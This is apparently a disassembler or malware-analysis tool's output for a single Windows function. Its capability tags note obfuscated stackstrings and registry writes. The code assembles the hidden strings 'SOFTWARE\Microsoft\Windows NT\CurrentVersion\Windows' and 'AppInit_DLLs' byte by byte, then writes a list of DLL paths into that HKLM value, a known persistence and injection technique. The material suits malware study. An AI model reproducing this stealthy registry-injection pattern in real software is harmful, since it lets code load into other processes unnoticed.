Function at 0x4012c9
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1060
call fcn.00401c00
push ebx
push esi
push edi
jmp 0x4012e3
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x105f]
mov byte [ebp - 0x1060], bl
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop esi
mov dword [ebp - 8], 0xfff
stosb byte es:[edi], al
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x2e], 0x77
mov byte [ebp - 0x3e], 0x65
mov byte [ebp - 0x51], 0x6f
mov byte [ebp - 0x45], 0x4e
mov byte [ebp - 0x60], 0x53
mov byte [ebp - 0x4e], 0x5c
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x52], 0x73
mov byte [ebp - 0x5a], 0x52
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x39], 0x72
mov byte [ebp - 0x4d], 0x57
mov byte [ebp - 0x33], 0x57
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x5f], 0x4f
mov byte [ebp - 0x46], 0x20
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x4c], 0x69
mov byte [ebp - 0x43], 0x5c
mov byte [ebp - 0x38], 0x73
mov byte [ebp - 0x30], 0x64
mov byte [ebp - 0x58], 0x5c
mov byte [ebp - 0x4a], 0x64
mov byte [ebp - 0x50], 0x66
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x56], 0x69
mov byte [ebp - 0x44], 0x54
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x4f], 0x74
mov byte [ebp - 0x55], 0x63
mov byte [ebp - 0x5b], 0x41
mov byte [ebp - 0x5d], 0x54
mov byte [ebp - 0x41], 0x75
mov byte [ebp - 0x5e], 0x46
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x48], 0x77
mov byte [ebp - 0x3b], 0x56
mov byte [ebp - 0x49], 0x6f
mov byte [ebp - 0x5c], 0x57
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x42], 0x43
mov byte [ebp - 0x3f], 0x72
mov byte [ebp - 0x53], 0x6f
mov byte [ebp - 0x57], 0x4d
mov byte [ebp - 0x3d], 0x6e
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x59], 0x45
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x19], 0x49
mov byte [ebp - 0x13], 0x4c
mov byte [ebp - 0x1c], 0x41
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0x12], 0x4c
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x1b], 0x70
lea eax, [ebp - 4]
mov byte [ebp - 0x16], 0x74
push eax
push 0xf003f
lea eax, [ebp - 0x60]
push ebx
push eax
push 0x80000002
mov byte [ebp - 0x15], 0x5f
mov byte [ebp - 0x10], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401434
xor eax, eax
jmp 0x401555
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1060]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 4]
call fcn.0040117d
add esp, 0x18
test eax, eax
je 0x40145a
mov dword [ebp - 8], esi
mov edi, dword [ebp + 8]
cmp edi, ebx
jne 0x4014ad
cmp dword [ebp - 8], esi
lea eax, [ebp - 0x1060]
push 0x403080
push eax
jbe 0x4014a5
call fcn.004010f4
pop ecx
test eax, eax
pop ecx
jne 0x401553
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x1060]
push 0x403100
push eax
call edi
lea eax, [ebp - 0x1060]
push 0x403080
push eax
call edi
jmp 0x40151f
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x40151f
cmp dword [edi], ebx
mov dword [ebp - 0xc], ebx
jle 0x40151f
add edi, 4
cmp dword [ebp - 0xc], 0x32
jge 0x40151f
push edi
mov byte [edi + 0x1f], bl
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x40150f
lea eax, [ebp - 0x1060]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x401501
lea eax, [ebp - 0x1060]
push edi
push eax
call fcn.004010f4
pop ecx
test eax, eax
pop ecx
jne 0x40150f
lea eax, [ebp - 0x1060]
push 0x403100
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x1060]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
inc dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
add edi, 0x20
cmp ecx, dword [eax]
jl 0x4014b7
lea eax, [ebp - 0x1060]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1060]
push eax
push esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40154a
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret